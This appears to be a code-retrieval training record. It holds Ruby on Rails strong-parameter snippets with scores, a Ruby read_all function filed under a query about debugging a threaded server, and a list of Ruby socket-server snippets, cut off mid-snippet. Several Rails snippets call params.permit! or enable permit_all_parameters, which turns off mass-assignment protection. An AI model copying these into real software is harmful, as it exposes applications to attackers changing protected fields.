[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
NOTE: To debug the server, run with sudo ruby d Server.rb To actually run, DON'T USE d! Threads will crash silently without d using d will cause the entire server to crash on client disconnect THIS SHOULD BE FIXED! reads the entire contents of a file or socket
def read_all(container) buffer = "" readSize = 128 # amount of data to read at a time while(!container.eof) tmp = container.readpartial(readSize) buffer = buffer + tmp if tmp.length < readSize break end tmp = "" end return buffer end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def run\n\t\n\t\twhile true \t\t\t\t\t\t# run forever\n\t\t\n\t\t\tready2read = sockets_ready_for_reading()\n\t\t\t\n\t\t\tnext if not ready2read \t\t\t# if nil, loop again\n\t\n\t\t\tputs \"<Debug> ready2read=#{ready2read.inspect}\" if $DEBUG\n\n\t\t\tready2read.each do |socket|\t\t\n\t\t\t\n\t\t\t\tif socket == @server_socket then\t# we have a new client\n\n\t\t\t\t\taccept_new_connection\n\n\t\t\t\telse \t\t\t\t\t\t\t# a client has a message\n\n\t\t\t\t\tconn = get_connection_by_socket(socket)\n\n\t\t\t\t\tif socket.eof? then \t# the socket was closed\n\n\t\t\t\t\t\tmessage = sprintf(\"190 %s@%s:%s now disconnected\\n\", \n\t\t\t\t\t\t\tconn.username, conn.host, conn.port)\n\t\t\t\t\t\tlog_message(message)\n\t\t\t\t\t\tbroadcast_message(message, conn)\n\t\t\t\t\t\tsocket.close\n\t\t\t\t\t\t@connection_array.delete(conn)\n\t\t\t\t\t\tlog_socket_info\n\n\t\t\t\t\telse\t\t\t\t\t# we have a message to process\n\t\t\t\t\t\n\t\t\t\t\t\tmessage = socket.gets.chomp!\n\t\t\t\t\t\tlog_string = sprintf(\"<log>:Message From: %s@%s:%s %s\", \n\t\t\t\t\t\t conn.username, conn.host, conn.port, message.inspect)\n\t\t\t\t\t\tlog_message(log_string)\n\t\t\t\t\t\tprocess_message(message, conn)\n\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend \n\t\tend\n\tend", "def background_read\n @log.debug \"Background read start\"\n begin\n while true\n dat = @socket_srv.gets\n if dat.nil?\n @log.debug \"data nil, terminate read\"\n break\n elsif dat.empty?\n @log.debug \"data empty, try to continue\"\n next\n end \n @log.debug \"<server> #{dat.chomp}\" if @server_msg_aredebugged\n parse_server_message(dat)\n end\n rescue\n @log.warn \"socket read end: (#{$!})\"\n ensure\n @log.debug \"Background read terminated\"\n @socket_srv = nil\n @model_net_data.event_cupe_raised(:ev_client_disconnected)\n end\n end", "def listening\n @start = Time.now\n #RubyProf.measure_mode = RubyProf::PROCESS_TIME #<= Measuring process time\n #RubyProf.start #<= Measuring performance of the socket\n @res = Thread.new do\n count = 0\n while (message = @server.readline)\n count += 1\n puts \"Server: #{message}\"\n puts \"Amount Of Responses #{count}\"\n end\n end\n end", "def server_start\n begin\n require \"socket\"\n server = TCPServer.new(@host, @port)\n return if server.nil?\n\n puts \"Server started.\\nListening at port: #{@port}\\nLog file: #{@log_file_path}\"\n trap(\"INT\") { stopping() }\n\n # Main sever loop\n loop do\n # Spawn a thread and accept connection\n Thread.new(server.accept) do |conn|\n puts \"Connection #{conn} accepted.\"\n \n write_to_log(\"[#{Time.now.to_s}] \")\n while line = conn.gets\n puts \"Recieved: #{line.chop}\\n\"\n write_to_log(line.chop)\n end\n end\n end\n rescue => exception\n puts \"ERROR: #{exception.inspect}\"\n end\n end", "def listen()\n loop { \n Thread.start(@server.accept) do |client|\n client.puts(Time.now.ctime) \n while line = client.recv(200)\n purge()\n puts line\n interprete(client,line)\n end\n end\n }\n end", "def read_data_on_http_tunnel\n @log.debug \"read_data_on_http_tunnel read start\"\n while true\n dat = @socket_srv.gets\n break if dat.nil? or dat.empty?\n @log.debug \"<server> #{dat.chomp}\"\n # TO DO: parse message\n end\n rescue\n @log.warn \"socket read end: (#{$!})\"\n ensure\n @log.debug \"read_data_on_http_tunnel terminated\"\n @socket_srv = nil\n end", "def start_async\n while c = @serv.accept\n Thread.start do\n begin\n @threads << Thread.current\n l = Mutex.new\n loop do\n begin\n x = Dr2.read(c, [Dr2::Types::Message,\n Dr2::Types::Error])\n Thread.start {\n begin\n @threads << Thread.current\n receive x, c, l\n ensure\n l.unlock rescue nil if l.locked?\n @threads.delete Thread.current\n end\n }\n rescue Dr2::Types::EOFException\n break\n rescue Dr2::Types::QuitException\n break\n rescue Exception\n l.synchronize { Dr2.write(c, $!) }\n end\n end\n ensure\n c.close rescue nil\n @threads.delete Thread.current\n end\n end\n end\n end", "def running\n #RubyProf.measure_mode = RubyProf::PROCESS_TIME #<= Measuring process time\n #RubyProf.start #<= Measuring performance of the socket\n puts \"Server Listening...\"\n @start = Time.now\n @server = TCPServer.new @ip, @port\n while (connection = @server.accept)\n @mutex.synchronize do\n @acceptor << Thread.fork(connection) do |client| #<= Blocking Accept\n begin\n puts \"Client #{client} Connected At #{Time.now}\\n\"\n port, host = client.peeraddr[1, 2]\n @sockets << client\n @connection << \"#{client}:#{host}:#{port}\"\n client.puts \"Connection Established!\"\n sleep 5\n listening(client)\n rescue EOFError\n client_list\n client.close\n puts \"Client #{client} Terminated...\\n\"\n end\n end\n end\n end\n end", "def main\n #basePath = \"d:\\\\web\"\n basePath = ENV['PWD'] + '/test/functional/tmp/repo'\n #server = TCPServer.new('XXX.XXX.XXX.XXX', 9090)\n server = TCPServer.new('127.0.0.1', 9090)\n #logfile = basePath + \"\\\\log.txt\"\n logfile = basePath + \"/log.txt\"\n $log = File.open(logfile, \"w+\")\n\n puts \"basePath = #{basePath}\"\n puts \"logfile = #{logfile}\"\n\n loop do\n session = server.accept\n request = session.gets\n logStr = \"#{session.peeraddr[2]} (#{session.peeraddr[3]})\\n\"\n logStr += Time.now.localtime.strftime(\"%Y/%m/%d %H:%M:%S\")\n logStr += \"\\n#{request}\"\n logger(logStr)\n \n Thread.start(session, request) do |session, request|\n HttpServer.new(session, request, basePath).serve()\n end\n\n end\n log.close\nend", "def start_sync\n lock = Mutex.new\n while c = @serv.accept\n Thread.start do\n begin\n @threads << Thread.current\n loop do\n begin\n x = Dr2::Types.read(c, [Dr2::Types::Message,\n Dr2::Types::Error])\n lock.synchronize { receive x, c }\n rescue Dr2::Types::EOFException\n break\n rescue Exception\n Dr2::Types.writer($!).write_dr2(c)\n end\n end\n ensure\n c.close rescue nil\n @threads.delete Thread.current\n end\n end\n end\n end", "def run\n srv = if self.path\n UNIXServer.new(path)\n else\n TCPServer.new(host, port)\n end\n\n loop do\n io = accept_connection(srv)\n\n begin\n data = receive_data(io)\n send_data(io, handle_data(io, data)) if data\n rescue\n raise 'Connection reset by peer' if config[:debug] && io.closed?\n ensure\n io.close rescue nil\n GC.start if config[:run_gc_per_request]\n end\n end\n end", "def serverHandling()\n \n loop {\n #puts \"ServerHandling thread: #{Thread.current}\"\n thread = Thread.start($serv.accept) do |client|\n \n message = client.gets.chomp\n\n \n\n arr = message.split(' ')\n server_cmd = arr[0]\n args = arr[1..-1]\n# if server_cmd != \"UPDATE\" then puts \"THIS IS THE MESSAGE: #{message}\" end\n\n case server_cmd\n when \"EDGEB2\"; edgeb_network(args)\n when \"EDGEU2\"; edgeu_network(args)\n when \"UPDATE\"; updateTable(args)\n when \"TOSOURCE\"; source_console(args)\n when \"PING\"; ping_network(args)\n when \"FORWARD\"; forward_packet(args)\n when \"SEND\"; packet_forward(args)\n when \"SEND2\"; file_forward(args)\n when \"SUCCESS\"; transfer_success(args)\n when \"CIRCUITB2\"; circuitb_network(args)\n else STDERR.puts \"ERROR: INVALID COMMAND \\\"#{server_cmd}\\\"\"\n end\n client.close\n end\n \n }\n\nend", "def run\r\n while true do\r\n begin\r\n msg = $stdin.gets\r\n if msg.to_s.include? \"exit\"\r\n break\r\n else\r\n set_socket() #must do it in every run\r\n send_data(msg)\r\n com = msg.to_s.split\r\n if (com[0] == \"add\" or com[0] == \"set\" or com[0] == \"cas\" or com[0] == \"append\" or com[0] == \"prepend\") #must send value\r\n value = read_msg(com[4].to_i) #com[4] -> size of the value to read\r\n send_data(value)\r\n end\r\n retrieve_data()#prints data\r\n #while next_line_readable?(@socket)\r\n # puts @socket.gets.chop #puts every line that the socket sends as response\r\n #end\r\n end\r\n rescue => exception\r\n puts exception.message\r\n puts \"A server failure has been encountered\"\r\n puts \"Closing...\"\r\n sleep(2)\r\n break\r\n end\r\n end\r\n end", "def listen \n @logger.info \"tcp server is listening...\"\n while @running do # Servers run forever\n while session = @server.accept do \n sockets << session\n Thread.start do\n session.puts(Time.now.ctime) # Send the time to the client\n session.puts(\"Hello hive game viewer\\n\")\n #session.puts \"Hi there\"\n @logger.info \"someone connected\"\n Thread.start do\n while true do\n input = session.gets\n @logger.info input\n session.puts \"you said #{input}\"\n end\n end \n #userinput = gets \n #puts \"sending #{userinput}\"\n #session.puts(\"#{userinput}\\n\")\n end\n end\n end\nend", "def start_partial_sync\n while c = @serv.accept\n Thread.start do\n begin\n @threads << Thread.current\n loop do\n begin\n x = Dr2::Types.read(c, [Dr2::Types::Message,\n Dr2::Types::Error])\n receive x, c\n rescue Dr2::Types::EOFException\n break\n rescue Exception\n Dr2::Types.writer($!).write_dr2(c)\n end\n end\n ensure\n c.close rescue nil\n @threads.delete Thread.current\n end\n end\n end\n end", "def run_server_thread; end", "def start_server\t\n\t\tloop{\n\t\t\tThread.new(@server.accept) do |client|\n\t\t\t\t\t\t\n\t\t\t\t#connection and request\n\t\t\t\tsock_domain, remote_port, remote_hostname, remote_ip = client.peeraddr\n\t\t\t\tclient_ip = remote_ip.to_s\t\n\t\t\t\t@@static_id += 1\n\t\t\t\t@connection_no = @@static_id \t\t\t\t\n\t\t\t\tputs \"\\nConnection ##{@connection_no} client #{client_ip} accepted\"\t\n\t\t\t\t\n\t\t\t\t#send client secret key \n\t\t\t\tclient.puts @key\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t#receive data from client\n\t\t\t\tdata = client.gets.chomp\n\t\t\t\tputs \"received encoded: #{data}\"\n\t\t\t\t\n\t\t\t\tdecdata = Base64.decode64(data)\n\t\t\t\tputs \"decoded message #{decdata}\"\n\t\t\t\t\t\n\t\t\t\t#encrypts message with secret key and newly generated\n\t\t\t\t#initialization vector. \n\t\t\t\tiv = @aes_cipher.random_iv\t\n\t\t\t\t@aes_cipher.iv = iv\n\t\t\t\tputs \"generated IV: #{iv}\"\n\t\t\t\tencrypted = @aes_cipher.update(decdata)\n\t\t\t\tencrypted << @aes_cipher.final\t\n\t\t\t\tputs \"Encrypted Msg: #{encrypted}\"\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t#send back IV and encrypted data\n\t\t\t\tenc_encrypted = Base64.encode64(encrypted)\n\t\t\t\tclient.puts enc_encrypted\n\t\t\t\tclient.puts iv\t\t\t\t\n\t\t\t\t\n\t\t\t\t#close connections\n\t\t\t\tclient.close\t\t\n\t\t\t\t\n\t\t\tend\n\t\t}\n\tend", "def start\n\t\t@server_thread = Thread.new do\n\t\t\tbegin\n\t\t\tserver = TCPServer.open(23)\n\t\t\tloop {\n\t\t\t\tbegin\n\t\t\t\t\tclient = TelnetClient.new(server.accept)\n\t\t\t\t\t@client_list << client\n\t \t\t\t\tt = Thread.new do\n\t \t\t\t\t\thandleNewClient(client) \n\t \t\t\t\tend\n\t \t\t\trescue Exception => e \n\t\t\t\t\tputs \"Client Error: #{e.message}\"\n\t\t\t\t\tputs e.inspect\n\t\t\t\t\tputs e.backtrace\n\t\t\t\tend\n\t\t\t}\n\t\t\trescue Interrupt => e\n\t\t\t\tputs \"Server is interrupted\"\n\t\t\tensure\n\t\t\t\tclose_all()\n\t\t\t\tserver.close\n\t\t\tend\n\t\tend\n\t\t@server_thread.abort_on_exception = true\n\tend", "def start\n log :info, \"Starting server\"\n @mutex.synchronize{ @do_stop = false }\n\n UNIXServer.open(@path) do |server|\n File.chmod(@mode, @path) if @mode\n\n log :info, \"Accepting connections.\"\n while @client = server.accept\n addr = @client.addr.last\n log :info, \"Client connect from #{addr}.\"\n\n # TODO: Use #accept_nonblock in loop? This way, a client has to connect\n # first to have the server shut down.\n break if @mutex.synchronize{ @do_stop }\n\n begin\n catch :timeout do\n handle_client\n end\n rescue => e\n log :err, \"Exception: #{e.class.name}: #{e.message}: #{e.backtrace.join(\"\\n\")}\"\n log :err, \"Aborting connection due to exception.\"\n @client.close\n end\n\n log :info, \"Client connection closed: #{addr}\"\n @client = nil\n end\n\n end\n\n log :info, \"Server stopped.\"\n ensure\n if File.exist?(@path)\n log :info, \"Removing UNIX socket '#@path'\"\n File.delete(@path)\n end\n end", "def start\n\n # load config files\n @httpd_conf.load \n @mimes.load\n # initialze logger \n logger = Logger.new(@httpd_conf.logfile) \n Thread.abort_on_exception=true\n \n loop do\n puts \"Opening server socket to listen for connections\"\n\n # handle incoming request\n Thread.start(server.accept) do |client|\n worker = Worker.new(client,@httpd_conf,@mimes,logger) \n worker.handle_request\n end\n end\n\n end", "def process_reading\n\t\t\t# open a thread\n\t\t\t@reading_thread = Thread.new do\n\t\t\t\tbegin\n\t\t\t\t\t# session handshake (see section 4.1)\n\t\t\t\t\t# gets the 'ClientFirstByte'\n\t\t\t\t\tf_byte = read(1)\n\t\t\t\t\t\n\t\t\t\t\t# gets the 'ClientHandcheckReceiving'\n\t\t\t\t\tc_handcheck = read(1536)\n\t\t\t\t\t\n\t\t\t\t\t# generates 'SERVER_HANDCHECK'\n\t\t\t\t\ts_handcheck = \"a\"*1536\n\t\t\t\t\t\n\t\t\t\t\t# sends 'ServerFirstByte', 'ServerHandcheckSending' and 'ClientHandcheckSending'\n\t\t\t\t\twrite ( \"\\3\" << s_handcheck << c_handcheck )\n\t\t\t\t\t\n\t\t\t\t\t# get the 'ServerHandcheckReceiving'\n\t\t\t\t\tread(1536)\n\t\t\t\t\t# handshake done\n\t\t\t\t\t\n\t\t\t\t\t# get the 'CONNECTION_PACKET'\n\t\t\t\t\t@first_packet = get_packet\n\t\t\t\t\t@connected = true\n\t\t\t\t\t# starts the writing loop\n\t\t\t\t\tprocess_writing\n\t\n\t\t\t\t\t# process the 'CONNECTION_PACKET' and notice the server\n\t\t\t\t\[email protected]_session(self)\n\t\t\t\t\t\n\t\t\t\t\t# enter the reading loop\n\t\t\t\t\twhile @connected do\n\t\t\t\t\t\t# fires an event each time the session receives a packet\n\t\t\t\t\t\ton_packet(get_packet)\n\t\t\t\t\tend\n\t\t\t\trescue Exception => obj\n\t\t\t\t\tdisconnect(obj)\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def listen_fserver_read(client)\n line = @lookupserver.gets.chomp\n while line.empty? do\n line = @lookupserver.gets.chomp\n end\n msg = line\n msg = msg << \"\\n\" << @lookupserver.gets.chomp\n msg = msg << \"\\n\" << @lookupserver.gets.chomp\n line = @lookupserver.gets.chomp\n contents = \"\"\n puts msg\n while !line.empty? do\n contents = contents << line << \"\\n\"\n line = @lookupserver.gets.chomp\n end\n msg = msg << \"\\n\" << contents[@start_n..@start_n + @len_n]\n client.puts(\"\\n#{msg}\")\n validate_cache(contents, client)\n end", "def pullQOTD(qotdServer)\nbegin\n \n $message = \"\"\n con = TCPSocket.open(qotdServer, 17)\n while buffer = con.gets\n $message = $message + buffer.strip + \" \"\n end\n rescue SocketError => e\n con = nil\n puts \"The error is: \" << e.message\n \n rescue Interrupt\n puts \"\\nTerminating script...\"\nend\nend", "def recvThread (fName, filesize, sock)\n\tcurrentSize = 0\n\t#amount to read\n\tsize = 1024\n\tputs \"Starting to read file data from socket\"\n\trun = 1\n\tFile.open(fName, 'wb') do |file|\n\t\tputs \"File is downloading . . . \"\t\t\n\t\twhile run == 1\n\t\t\tdata = sock.gets\n\t\t\t#for some reason this check is necessary when\n\t\t\t#transferring mp3 files\n\t\t\tif data.class == NilClass\n\t\t\t\trun = 0\n\t\t\t\tnext \n\t\t\tend\n\t\t\tsize = data.size\n\t\t\tcurrentSize += size\n\t\t\t#write data to file\n\t\t\tfile.write(data)\n\t\t\tif currentSize == filesize.to_i\n\t\t\t\trun = 0\n\t\t\tend\n\t\tend\n\t\tputs \" \t\"\n\tend\n\tputs \"End of file download!\"\nend", "def start_server\n loop do\n socket = @server.accept\n @pool.post do\n request = socket.gets\n unless request.nil?\n response = fetch_data(request)\n socket.print build_response(response)\n socket.print \"\\r\\n\"\n socket.print response[:message]\n end\n socket.close\n end\n end\n end", "def start_listening\n\t\t@socket = UDPSocket.new\n\t\[email protected](@info.host, @info.port)\n\t\twhile true\n\t\t\ttext, sender = @socket.recvfrom(1024)\n\n\t\t\t\targuments = Marshal.load(text)\n\t\t\t\tmsg_type = arguments.shift\n\t\t\t\t\n\t\t\t\tputs \"Received msg: #{msg_type}, #{arguments} from remote #{sender}\"\n\n\t\t\t\tif msg_type == \"GET\"\n\t\t\t\t\tkey, port = arguments\n\t\t\t\t\tget(key.to_i, sender[3], port)\n\t\t\t\telsif msg_type == \"PUT\"\n\t\t\t\t\tkey, value = arguments\n\t\t\t\t\tput(key.to_i, value)\n\t\t\t\telsif msg_type == \"PING\"\n\t\t\t\t\tnode = arguments.first\n\t\t\t\t\tsend_message [\"OK\"], 0, node.host, node.port\n\t\t\t\telsif msg_type == 